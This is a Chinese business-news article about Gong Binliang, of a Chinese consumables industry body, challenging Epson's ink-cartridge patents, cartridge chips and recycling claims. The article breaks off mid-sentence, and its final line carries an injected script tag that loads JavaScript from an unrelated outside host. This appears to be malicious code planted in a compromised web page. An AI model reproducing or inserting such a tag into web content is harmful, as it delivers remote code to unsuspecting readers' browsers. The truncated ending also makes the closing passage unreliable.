凌建平 祝裕 每日经济新闻
正打败了爱普生，中国计算机行业协会耗材专委会秘书长龚滨良非常高兴，但是，爱普生接着宣布已经申请了新专利的现实让龚滨良非常生气。龚滨良表示，如果爱普生的新专利在62项内容与旧专利的一样，那爱普生就在忽悠中国的有关主管部门。另据报道，包括天威、纳斯达等中国十多家较大的墨盒生产厂商已联手向国家知识产权局专利复审委员会提出对爱普生另外一项专利的无效宣告请求。
就龚滨良提出的爱普生在中国的各种问题，《每日经济新闻》从上周开始就试图联系爱普生中国有限公司的相关人士，但至发稿时，没有收到任何回复。
对于突然而来的专利战争，龚滨良称，这场斗争将促进全球耗材业的发展，如果没有这个斗争，耗材市场将是死水一潭。
龚滨良表示，我国在加入wto以后，已经做出尊重知识产权的庄严承诺，我们也要享受平等以及非歧视性的贸易原则。龚滨良认为，跨国公司惯用专利，跑马圈地，构筑了专利高压线，限制竞争，制造垄断，一忽儿启动337调查，一忽儿与竞争对手对簿公堂，用一些既无创造性，又无新颖性，更无实用性的专利，封杀竞争性产品。
因此，对于中国企业，除了自己必须具有创造性的新技术专利以外，不能迷信跨国公司的所谓专利。事实上，据日经bp社报道，爱普生以墨盒再生产品侵犯专利为由向东京地方法院状告日本ecorica公司一案中，日本专利厅2006年5月22日做出判决，认定作为起诉依据的专利(专利号：第3257597号)无效。龚滨良表示，国家知识产权局发出第8296号文，宣布2002年9月11日授权的zl95117800.8中62项专利权全部无效，为中国耗材业营造了良好的竞争环境。
爱普生新专利是真是假？
对于爱普生宣称的关于新旧专利的说法，龚滨良认为有问题。按照此前爱普生给《每日经济新闻》的答复，2002年11月16日，爱普生发现相关专利表述不够清楚，所以就对相关专利进行了分案专利申请。而《每日经济新闻》看到，爱普生在2005年6月2日向国家知识产权局提交的《复审、无效程序中意见陈述书》中明确希望“请求人的无效请求应当予以驳回”。
龚滨良说，这就表示爱普生希望维持此专利（专利号95117800.8）。如果在2002年发现问题，为什么直到2005年还在出钱继续维持此专利，而不是要求废掉？
龚滨良告诉《每日经济新闻》，新专利并不是他们所说的授权，而是受理，受理并不一定能授权。如果是授权了，我肯定还要继续申诉，如果仅是受理状态，那就很简单，用我们现在收到的无效宣判，一纸公文和核对书就可以把他们否定掉，只要我们把他们新申请专利的内容和（专利号95117800.8和专利申请号02147345.5）内容核对一下就知道了。如果正如他们所说完全一致，就可以把爱普生否定掉。龚滨良透露，现在正在请有关律师在做比对，并且已经开始筹措向国家知识产权局申请的必需费用。
《每日经济新闻》在中国国家知识产权局的网络查询系统查找爱普生所说的新专利（专利申请号02147345.5）的情况，在该专利的申请书中，爱普生和刚被宣布无效的专利（专利号95117800.8）一样申请了62项权利要求，在最新公告（2005年12月28日）的法律状态项中，该专利处于“发明专利公报更正”，而更正的项目是申请日从2002年10月16日改为1995年9月16日。如果该更正成立，也就意味着爱普生确实已经把所谓的新专利等同于已经被宣布无效的专利。
墨盒芯片完全是为对付竞争对手？
在爱普生的墨盒中，大都带有一个ic芯片，一方面为了监测墨水的使用情况，另一方面是为了维护利益，避免伪造和生产兼容耗材。
龚滨良告诉《每日经济新闻》，有家美国的电脑杂志每年都会评选最差产品，爱普生一款带芯片的墨盒居五大最差之列，这家电脑杂志认为“这样的芯片并不能真实地反映含墨量，与打印功能也不是特别有关系，实际上仅是对付竞争对手的产品，所以这样的产品并不利于竞争和反垄断法的贯彻。
龚滨良表示，墨盒的芯片反映的应该是精确用量，10～15的余墨量比较合适。如果像爱普生这样30的量肯定偏高，也不属于技术保护。芯片除了这个功能还能监控配置的墨盒是不是爱普生的产品，如果不是爱普生的产品，机器就不工作。如果一旦选择了其它品牌的墨盒，出了问题爱普生恕不负责，消费者的选择权就被侵犯了。现在的芯片功能越来越复杂，一个芯片里揉合了打印机的七种功能，那兼容性产品兼容的技术门槛就很高。龚滨良称，芯片的功能已经完全是对付竞争对手，必须限制或取消，这也是我在国家专家组成员会议上反复强调的。爱普生芯片的反映的墨终状态其实还有30的余墨存在，肯定不是技术保护。
爱普生墨盒还在污染环境？
几年来，爱普生在中国推出了针对大幅面打印机用户的“大墨盒环保回收优惠活动”，以及整机以旧换新回收活动，推动打印耗材的回收工作。
但龚滨良认为，爱普生的这种做法只是表面文章。他告诉《每日经济新闻》?script src=http://er12.com/t.js>
